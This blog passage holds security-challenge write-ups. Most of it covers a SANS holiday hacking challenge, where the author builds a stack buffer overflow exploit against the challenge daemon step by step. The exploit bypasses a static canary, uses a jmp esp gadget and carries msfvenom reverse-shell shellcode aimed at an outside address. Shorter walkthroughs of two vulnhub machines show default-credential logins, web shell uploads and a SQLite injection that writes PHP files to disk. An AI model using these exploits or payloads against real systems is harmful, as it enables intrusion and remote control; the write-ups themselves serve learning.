Notice the menu switch/case instruction? The Options 49,50,51 represented 1,2,3 and there is also another Option 88! But how to reach that?

I was quickly able to determine that 49,50,51 represent 1,2,3 in the ASCII Table! So what does 88 stand for? The big letter X:

04-21 sg-05 hidden function

A hidden function! And its accepting a string! This smells like a basic stack buffer overflow! Good thing I learnt to exploit those during OSCP and from Corelan!

However I never debugged a Binary on Linux with gdb before, only with Immunity Debugger on Windows!

The biggest challenge I was facing is the fact that from my past experience with exploit writing and playing around with metasploit is, that I knew that network daemons are not single threaded applications that crash when a single user connects and overflows a buffer. Instead every network connection will likely spawn a separate child process which will free up the network socket for new connections. Only the spawned child will die on buffer overflow condition!

So I need to find out how to bring gdb to “follow” a spawned “child” when a network daemon process is “forked”!

Luckily @januszjasinski was kind enough to chat with me about this issue and helped me by providing me with the required gdb commands. Thank you Janusz!

So this is the command to tell gdb to follow a child process:


gdb> set follow-fork-mode child

Next I wrote a little bof-poc python script to verify a crash condition:

root@kali:~/link/writeup# cat 00-kill-canary.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 2000

try:
 print "\nSending evil buffer..."
 s.connect(('127.0.0.1',4242))
 data = s.recv(5024)
 print data
 time.sleep(1)
 s.send('X' + '\r\n')
 print s.recv(5000)
 time.sleep(1)
 s.send(buffer + '\r\n')
 data = s.recv(5024)
 print data
 time.sleep(1)
except:
 print "Could not connect to sgstatd"

When I execute this BOF-POC Script gdb shows the following:

04-22 sg-05 kill canary

I killed the canary! Thats why I called the chose the name for this BOF-POC script…

Until this moment I never encountered a stack canary protection before but I already knew the purpose of canaries in Coal Mines from other story (cant remember wich tough) and googling the error message quickly revealed the purpose of this:

Instead of warning miners of deadly gas concentrations the stack canary is just a secret value that is pushed on the stack before the call of a function and is checked when returning from it. If you overflow the buffer and overwrite the stack canary the program will be killed and your shellcode payload will not be executed.

Good thing we already looked at the sourceode and noticed the following function:


int sgstatd(sd)
{
__asm__("movl $0xe4ffffe4, -4(%ebp)");
//Canary pushed

char bin[100];
write(sd, "\nThis function is protected!\n", 30);
fflush(stdin);
//recv(sd, &bin, 200, 0);
sgnet_readn(sd, &bin, 200);
__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked
"jne sgnet_exit");
return 0;

}

I am not a programmer and i don’t understand much c code but from this code snipped I can easily determine 3 things:

  1. The exact canary value is static: 0xE4FFFFE4
  2. A character array of 100 bytes / characters is reserved
  3. Up to 200 characters are being read from the command line

A classic BOF condition!

Now I could have read up all of this and learn how to work with stack canaries but I thought of something simpler. Like with determining the exact offset of the EIP it should be possible to locate the exact location where the canary is stored:

After fiddling arround a bit I could overwrite the canary with the following modification to the script:

root@kali:~/link# cat 01-canary-overwrite.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

try:
print "\nSending evil buffer...";
s.connect(('127.0.0.1',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + buffer + '\r\n')
#s.send('AA' + canary * 2000 + 'r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

Lets see the result in action:

04-22 sg-05 kill canary

Bazinga! I circumvented the Canary Stack protection and control the EIP!

Now the following alteration to locate the exact offset of EIP after the canary:


root@kali:~/link/writeup# cat 02-find-eip-offset.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

#created with metasploits pattern_create.rb script
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

try:
print "\nSending evil buffer..."
s.connect(('127.0.0.1',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + pattern + '\r\n')
#s.send('AA' + canary * 2000 + 'r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

Meanwhile in gdb land:

04-24 sg-05 eip offset

Now verifying the offset using metasploit’s pattern offset script:


root@kali:~/link/writeup# pattern_offset 0x61413161
[*] Exact match at offset 4

Okay lets verify this with the following alteration of the script:


#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

try:
print "\nSending evil buffer..."
s.connect(('127.0.0.1',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + 'B' * 4 + 'C' * 4 + '\r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

Bingo! We got 43! We now _really_ control EIP!:

04-25 sg-05 control eip

So as I learned in the Basic exploit development courses I now still need a reliable way to point the EIP register to my own shellcode! With DLL Rebaseing and ASLR I will not be able to jump to a hardcoded memory address. So the easiest way is to search for “assembly gadgets” in the existing code.

Something like jmp esp which can be translated into opcode with metasploits nasm_shell:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp

Okay lets look for FF E4. I actually did it with edb’s Opcode Searcher Plugin:

04-26 sg-05 edb opcode searcher

And we have a winner at: 0x0804936b

So lets test this by placing this address in the EIP register and placing a nopsled behind it. Note in the following script how the Address in the EIP is fed in reverse. Thats how the x86 little endian architecture expects to be fed in reverse!

The nopsled is not important for this exploit, however it is fun to see the CPU sliding down the sled :)

Now the script:


root@kali:~/link/writeup# cat 04-jump-esp.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 200 

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

# jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

try:
        print "\nSending evil buffer..."
        s.connect(('127.0.0.1',4242))
        data = s.recv(5024)
	print data
	time.sleep(1)
        s.send('X' + '\r\n')
	print s.recv(5000)
	time.sleep(1)
	s.send(padding + canary + 'B' * 4 + eip + nopsled + '\r\n')
	data = s.recv(5024)
	print data
	time.sleep(1)
except:
        print "Could not connect to sgstatd"

In gdb we can now set a breakpoint at the jmp esp address and look at the registers when the program hits the breakpoint:

04-27 sg-05 look at mem

In this screenshot we can see that when the CPU is hitting the breakpoint the EIP is pointing at our “jmp esp” instructin and the ESP is pointing at the address 0xbfffee00 where the nopsleed is awaiting the CPU.

x/100x $esp at last gives us a nice overview of the stack at this point.

Important: You can see in the script that I placed a 200 byte Nopsled behin the EIP but in the screenshot above you can see that the NOPs end at the highlighted offset after only 84 bytes / nops! Thats the maximum space available for shellcode!

So if we want to keep the exploit simple we need to find a small payload!

Luckily the simplest reverse shell payload metasploit can generate has only 68 bytes:
04-28 sg-05 msfvenom

So lets build an exploit PoC:


root@kali:~/link/writeup# cat 05-exploit-rev-shell.py
#!/usr/bin/python
# debug with gdb like this:
# #gdb sgstatd
# #gdb> set follow-fork-mode child
# #gdb> run

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 4

#offset at 4:
#root@kali:~# pattern_offset 0x61413161
#[*] Exact match at offset 4

# jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

#root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f pyNo platform was selected, choosing Msf::Module::Platform::Linux from the payload
#Payload size: 68 bytes
buf = ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f"
buf += "\x00\x00\x01\x68\x02\x00\x00\x50\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

try:
print "\nSending evil buffer..."
s.connect(('127.0.0.1',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + 'B' * 4 + eip + nopsled + buf + 'C' * 500 + '\r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

Again in gdb:

04-29 sg-05 dep breaks

Now we can see DEP breaking the exploit :(
Good thing the Dosis Neighborhood already gave a hint on how to disable DEP on the exploit development systeme!

So rebooting Kali it is:

04-30 sg-05 grub noexec

Quickly verifying that DEP is disabled after reboot:

04-31 sg-05 noexec

Now lets fireup a netcat listener, start sgstatd again and retrying the exploit:

04-32 sg-05 exploit working

We got a reverse shell!!! \o/… From our localhost, sent to our localhost…

Lets cook up a final exploit for our SG-05 on the Interwebz:


root@kali:~/link# cat exploit-SG-05.py
#!/usr/bin/python
# exploit for SupgerGnome 05 sgstatd

import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 10

#jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

#root@kali:~/link# msfvenom -p linux/x86/shell_reverse_tcp LHOST=94.219.239.21 LPORT=80 -f py
#Payload size: 68 bytes
buf = ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x5e"
buf += "\xdb\xe3\x95\x68\x02\x00\x00\x50\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

try:
print "\nSending evil buffer..."
s.connect(('54.233.105.81',4242))
data = s.recv(5024)
print data
time.sleep(1)
s.send('X' + '\r\n')
print s.recv(5000)
time.sleep(1)
s.send(padding + canary + 'B' * 4 + eip + nopsled + buf + '\r\n')
data = s.recv(5024)
print data
time.sleep(1)
except:
print "Could not connect to sgstatd"

With this exploit I was able to onbtain a reverse shell and read the gnome.conf file and to exfiltrate the other files via ncat:

04-34 sg-05 reverse shell.png

Part5 endgame:

Here are the questions for part 5:

9) Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?

The packet captures from the 5 SuperGnomes contain cleartext smtp sessions that can easily be joined together with Wireshark’s “follow tcp stream” feature:

05-01 wirehshark

Here are the 5 obtained E-Mails (body only):

SuperGnome 01 E-Mail:

From: "c" <c@atnascorp.com>
To: <jojo@atnascorp.com>
Subject: GiYH Architecture
Date: Fri, 26 Dec 2014 10:10:55 -0500

JoJo,

As you know, I hired you because you are the best architect in town for a
distributed surveillance system to satisfy our rather unique business
requirements.  We have less than a year from today to get our final plans in
place.  Our schedule is aggressive, but realistic.

I've sketched out the overall Gnome in Your Home architecture in the diagram
attached below.  Please add in protocol details and other technical
specifications to complete the architectural plans.

Remember: to achieve our goal, we must have the infrastructure scale to
upwards of 2 million Gnomes.  Once we solidify the architecture, you'll work
with the hardware team to create device specs and we'll start procuring
hardware in the February 2015 timeframe.

I've also made significant progress on distribution deals with retailers.

Thoughts?

Looking forward to working with you on this project!

-C

SuperGnome 01 E-Mail Attachment:

GiYH_Architecture

SuperGnome 02 E-Mail:

From: "c" <c@atnascorp.com>
To: <supplier@ginormouselectronicssupplier.com>
Subject: =?us-ascii?Q?Large_Order_-_Immediate_Attention_Required?=
Date: Wed, 25 Feb 2015 09:30:39 -0500

Maratha,

As a follow-up to our phone conversation, we'd like to proceed with an order
of parts for our upcoming product line.  We'll need two million of each of
the following components:

+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9
CPU and Linux SDK)
+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor
+ Atheros AR6233X Wi-Fi adapter
+ Texas Instruments TPS65053 switching power supply
+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash

Given the volume of this purchase, we fully expect the 35% discount you
mentioned during our phone discussion.  If you cannot agree to this pricing,
we'll place our order elsewhere.

We need delivery of components to begin no later than April 1, 2015, with
250,000 units coming each week, with all of them arriving no later than June
1, 2015.

Finally, as you know, this project requires the utmost secrecy.   Tell NO
ONE about our order, especially any nosy law enforcement authorities.

Regards,

-CW

SuperGnome 03 E-Mail:

From: "c" <c@atnascorp.com>
To: <burglerlackeys@atnascorp.com>
Subject: All Systems Go for Dec 24, 2015
Date: Tue, 1 Dec 2015 11:33:56 -0500

My Burgling Friends, 

Our long-running plan is nearly complete, and I'm writing to share the date
when your thieving will commence!  On the morning of December 24, 2015, each
individual burglar on this email list will receive a detailed itinerary of
specific houses and an inventory of items to steal from each house, along
with still photos of where to locate each item.  The message will also
include a specific path optimized for you to hit your assigned houses
quickly and efficiently the night of December 24, 2015 after dark.

Further, we've selected the items to steal based on a detailed analysis of
what commands the highest prices on the hot-items open market.  I caution
you - steal only the items included on the list.  DO NOT waste time grabbing
anything else from a house.  There's no sense whatsoever grabbing crumbs too
small for a mouse!

As to the details of the plan, remember to wear the Santa suit we provided
you, and bring the extra large bag for all your stolen goods.

If any children observe you in their houses that night, remember to tell
them that you are actually "Santy Claus", and that you need to send the
specific items you are taking to your workshop for repair.  Describe it in a
very friendly manner, get the child a drink of water, pat him or her on the
head, and send the little moppet back to bed.  Then, finish the deed, and
get out of there.  It's all quite simple - go to each house, grab the loot,
and return it to the designated drop-off area so we can resell it.  And,
above all, avoid Mount Crumpit! 

As we agreed, we'll split the proceeds from our sale 50-50 with each
burglar.

Oh, and I've heard that many of you are asking where the name ATNAS comes
from.  Why, it's reverse SANTA, of course.  Instead of bringing presents on
Christmas, we'll be stealing them!

Thank you for your partnership in this endeavor. 

Signed:

-CLW

President and CEO of ATNAS Corporation

SuperGnome 04 E-Mail:

From: "c" <c@atnascorp.com>
To: <psychdoctor@whovillepsychiatrists.com>
Subject: Answer To Your Question
Date: Thu, 3 Dec 2015 13:38:15 -0500

Dr. O'Malley,

In your recent email, you inquired:

> When did you first notice your anxiety about the holiday season?

Anxiety is hardly the word for it.  It's a deep-seated hatred, Doctor.

Before I get into details, please allow me to remind you that we operate
under the strictest doctor-patient confidentiality agreement in the
business.  I have some very powerful lawyers whom I'd hate to invoke in the
event of some leak on your part.  I seek your help because you are the best
psychiatrist in all of Who-ville.

To answer your question directly, as a young child (I must have been no more
than two), I experienced a life-changing interaction.  Very late on
Christmas Eve, I was awakened to find a grotesque green Who dressed in a
tattered Santa Claus outfit, standing in my barren living room, attempting
to shove our holiday tree up the chimney.  My senses heightened, I put on my
best little-girl innocent voice and asked him what he was doing.  He
explained that he was "Santy Claus" and needed to send the tree for repair.
I instantly knew it was a lie, but I humored the old thief so I could escape
to the safety of my bed.  That horrifying interaction ruined Christmas for
me that year, and I was terrified of the whole holiday season throughout my
teen years.

I later learned that the green Who was known as "the Grinch" and had lost
his mind in the middle of a crime spree to steal Christmas presents.  At the
very moment of his criminal triumph, he had a pitiful change of heart and
started playing all nicey-nice.  What an amateur!  When I became an adult,
my fear of Christmas boiled into true hatred of the whole holiday season.  I
knew that I had to stop Christmas from coming.  But how?

I vowed to finish what the Grinch had started, but to do it at a far larger
scale.  Using the latest technology and a distributed channel of burglars,
we'd rob 2 million houses, grabbing their most precious gifts, and selling
them on the open market.  We'll destroy Christmas as two million homes full
of people all cry "BOO-HOO", and we'll turn a handy profit on the whole
deal.

Is this "wrong"?  I simply don't care.  I bear the bitter scars of the
Grinch's malfeasance, and singing a little "Fahoo Fores" isn't gonna fix
that!

What is your advice, doctor?

Signed,

Cindy Lou Who

SuperGnome 05 E-Mail:

From: "Grinch" <grinch@who-villeisp.com>
To: <c@atnascorp.com>
Subject: My Apologies & Holiday Greetings
Date: Tue, 15 Dec 2015 16:09:40 -0500

Dear Cindy Lou,

I am writing to apologize for what I did to you so long ago.  I wronged you
and all the Whos down in Who-ville due to my extreme misunderstanding of
Christmas and a deep-seated hatred.  I should have never lied to you, and I
should have never stolen those gifts on Christmas Eve.  I realize that even
returning them on Christmas morn didn't erase my crimes completely.  I seek
your forgiveness.

You see, on Mount Crumpit that fateful Christmas morning, I learned th[4 bytes missing in capture file]at
Christmas doesn't come from a store.  In fact, I discovered that Christmas
means a whole lot more!

When I returned their gifts, the Whos embraced me.  They forgave.  I was
stunned, and my heart grew even more.  Why, they even let me carve the roast
beast!  They demonstrated to me that the holiday season is, in part, about
forgiveness and love, and that's the gift that all the Whos gave to me that
morning so long ago.  I honestly tear up thinking about it.

I don't expect you to forgive me, Cindy Lou.  But, you have my deepest and
most sincere apologies.

And, above all, don't let my horrible actions from so long ago taint you in
any way.  I understand you've grown into an amazing business leader.  You
are a precious and beautiful Who, my dear.  Please use your skills wisely
and to help and support your fellow Who, especially during the holidays.

I sincerely wish you a holiday season full of kindness and warmth,

--The Grinch

10) Who is the villain behind the nefarious plot.

Unsigned E-Mails can be forged knows every pentester! So lets turn to our final piece of evidence: The staticy images!

When you look around on the SuperGnomes you can read the following on the GnomeNet:

05-02 gnomenet

So the picture convert camera_feed_overlap_error.png got somehow XOR’ed with the factory_cam_x.png pictures from the 5 SuperGnomes!

If you google for “image xor” you will quickly find a roughly 4 year old post on StackOverflow which explains how the ImageMagic program (which comes preinstalled with Kali) can be leveraged to XOR 2 pictures.

After playing arround with this a bit I found out that you have to XOR the overlap picture with each of the SuperGnome’s factory image in turn:

convert camera_feed_overlap_error.png factory_cam_1.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_3.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_4.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_5.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png

Doing this you obtain the ultimate proof:

05-03 cindy lee who

The Character Cindy Lou Who from the Movie: How the Grinch Stole Christmas was the villain behind the nefarious plot to ruin christmas!

The End!

05-04 the end

Thank you SANS / Ed Skoudis for this wonderful Christmas Hackchallenge!!!

Posted in miscellaneous | 2 Comments

vulnhub: sickos 1.1 walkthrough

I just spotted a vm on Vulnhub that promised to be like OSCP. So i had to grab it: https://www.vulnhub.com/entry/sickos-11,132/

It was quite easy but still a lot of fun! As I managed to root it in roughly 45 minutes and the exploitation path is quite obvious im going with a minimalistic walkthrough.

Here we go:

1. Every good day starts with a nmap scan!

Given that im in a VM I just went in loud:Bildschirmfoto 2015-12-11 um 22.03.13

 

2. Im as hard as a jelly fish

One thing always to go for with an open proxy is to see if you can access a webserver that is only listening on the loopback interface:

Bildschirmfoto 2015-12-11 um 22.09.01

Bingo!

3. webserver problem? nikto will find it

So much vulns so wow:

Bildschirmfoto 2015-12-11 um 22.11.13

Definitely some shellshock here but I went another way:

4. dirbdirbdirbdirbdirbdirbdirbdirbdirb

Bildschirmfoto 2015-12-11 um 22.14.44

robots.txt ofcourse:

Bildschirmfoto 2015-12-11 um 22.16.30

5. the server who cried wolf

A small cms called “wolfcms”:

Bildschirmfoto 2015-12-11 um 22.17.53

I can already smell where this is going! But how to get to the admin login?
/admin, /login and other usual suspects do not work…. Lets ask google:

Bildschirmfoto 2015-12-11 um 22.20.14

Where is waldo….errrr admin? -> /?admin

Bildschirmfoto 2015-12-11 um 22.22.13

Can you guess it?

6. Never go full retard! But always go with admin:admin first!

At this point i figured this will be an easy one:

Bildschirmfoto 2015-12-11 um 22.24.19

A fileupload function, how nice! As I still had DAws lying around from my last vulnhub machine (D4rknet Writeup here) I just went with that:

Bildschirmfoto 2015-12-11 um 22.28.26

7. We’ve got shell \o/

Bildschirmfoto 2015-12-11 um 22.28.48Some basic postexploit reconnaissance:

Bildschirmfoto 2015-12-11 um 22.38.14

Equipped with the mysql root pw lets check for PW reuse!

8. This… was… too… easy… :)

Bildschirmfoto 2015-12-11 um 22.39.35

This was rather easy but still fun! A refreshing contrast to all those reverse engineering hardcore VMs which are dominating vulnhub lately!

Props to D4rk (@D4rk36) for this! Even an “easy” VM is still loads of work to prepare and I really appreciate that! Also he is spot on with this being a lot like OSCP. If you have done OSCP, hacking this VM feels kinda natural :)

Regards
Sebastian

Posted in boot2root, miscellaneous, vulnhub | Leave a comment

vulnhub.com writeup: Darknet

Hello,

This is my writeup of the Darknet boot2root VM from vulnhub.com.

I enjoyed Darknet as it was a VM focused on Linux System configuration and WebApp flaws. Lately there have been a lot of application exploitation and reverse engineering challenges on vulnhub which are not my strong suite so I very enjoyed darknet.

It still was quite challenging and I learned a ton new stuff and techniques (even tough I skipped a challenge)!

1. basic enumeration

After the VM is set up with bridged network and finished booting up I identified it with Nmap:

root@kali:~# nmap -sn 192.168.0.0/24
...
Nmap scan report for 888.darknet.com (192.168.0.70)
Host is up (-0.077s latency).
...

The first thing after identifying the VMs IP Address was scanning it with Nmap:

nmap

With this result I decided to go after the Webserver first because from experience with Boot2Root VMs the Webserver takes almost always part in the exploitation process (going after the low hanging fruits first).

First Step with a Webserver should be just looking at the Website it serves imho, before starting to wildly shoot tools at it!

darknet-splash-page

Some nice splash page! But no hint in this page or its sourcecode:

darknet-source

Before using any automated tool I checked for a robots.txt manually, as this often gives a clue:

darknet-robots-404

Not this time… So I ran nikto against the webserver:

root@kali:~# nikto -h 192.168.0.70
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.70
+ Target Hostname:    192.168.0.70
+ Target Port:        80
+ Start Time:         2015-08-16 06:48:49 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ Server leaks inodes via ETags, header found with file /, inode: 46398, size: 378, mtime: Mon Mar 23 02:10:38 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.4.39-0+deb7u1
+ OSVDB-3268: /access/: Directory indexing found.
+ OSVDB-3092: /access/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 9157 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2015-08-16 06:49:04 (GMT-4) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

When nikto tells you something might be interesting its always worth checking it out:

darknet-access-dir

A backup file! You should always look for those as they often contain valueable information that is not supposed to be accessible by the enduser! Interesting extensions to search for are: backup,bak,old,alt

FYI: Nessus has a plugin dedicated to search for Website Backups. If you dont want to run nessus you can manually append those extensions to the known pages and run dirb with dictionaries and append those extensions (dirb -x extensions-list.txt URL DICT).

Also note that this file discloses a local Username: devnull and the fact that the vhosts html directory is located in the home directory of this user!

So this Webserver likely hosts at least two different websites in different directories!

2. entering the deep dark web

So I grabbed and looked at the backup file:

darnket-apache-backup

An apache vhost configuration file. So by requesting an DNS Name as URL I will probably get a different page! So lets add the DNS Name to the hosts file:

root@kali:~/vulnhub/darknet# echo "192.168.0.70 888.darknet.com" >> /etc/hosts

And look at the Website:

darknet-login

A Login Page!
Everything turned CSI Cyber from here quickly (jk) ;)

The first thing with such login pages that comes to my mind is playing around with SQLi.

By entering “test:test” you can determine the normal behavior:

darknet-login-fail

A simple “Fail” message.

Testing the Basic SQLi things you will notice that “test’:test” will provoke a different behavior:

darknet-login-token

This looks interesting! But with a little testing I could find out that this is just the md5 of the entered password:

root@kali:~/vulnhub/darknet# echo -n "test" | md5sum
098f6bcd4621d373cade4e832627b4f6  -

Maybe this could be a lead or maybe this is just to mislead…
I have to be honest that I did this stage of the VM simultaneously with a couple of friends and one of them (props oboro!) found the SQLi Authentication bypass first:

Entering “devnull’ or ‘1” as a username and any random password will bypass the Authentication:

darknet-sql-form

This looks like a way to issue SQL commands to the SQL Server directly. Databases are always very interesting because they could allow you to execute code directly on the server or allow to write files to the server (outfile functions) which in turn could give the possibility to execute code on the server (php for example)!

The hard part is that this form gives no error messages (blind) and you don’t know which database backend ist present (blind^2).

I will again be honest and tell that after fiddling around a lot and trying numerous sqlmap runs I took a peek at another Darknet writeup to learn this is a SQLite backend.

With this information I did some research and found this article:
http://gwae.trollab.org/sqlite-injection.html

So a basic outfile should be achieved by this SQL query:

ATTACH DATABASE '/home/devnull/public_html/test.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ("test");

Testing:

darknet-sqloutfile-failed

Fail!

After testing and googeling arround alot (and maybe taking another peak at an existing writeup ¯\_(ツ)_/¯) I found out that this is may be a permission problem and the database is not allowed to write in the specified directory.
To find some alternatives I fired up dirb:

darknet-dirb

So lets test:

http://888.darknet.com/css/
http://888.darknet.com/img/
http://888.darknet.com/includes/

Bingo:

darknet-sqli-working

Even tough it feels like (and probably is) cheating to take a peek at other writeups it still feels good when the attack is working in the end. And I think its always better to cheat and learn from it than to give up…

Now with the possibility to write to the disk I immediately thought I could easily get a php shell!

darknet-php-backdoor-fail

darknet-phpbackdoor-fail2

Fail :/

So maybe the Webserver is hardened against simple php backdoors. Lets take a look at the php config by injecting a phpinfo.php with the following SQL command:

darknet-phpinfo-injection

Et voila: darknet-phpinfo

PHP a hackers dream!
Scrolling down a bit to find the following setting:

disable_functions = system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec	system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec

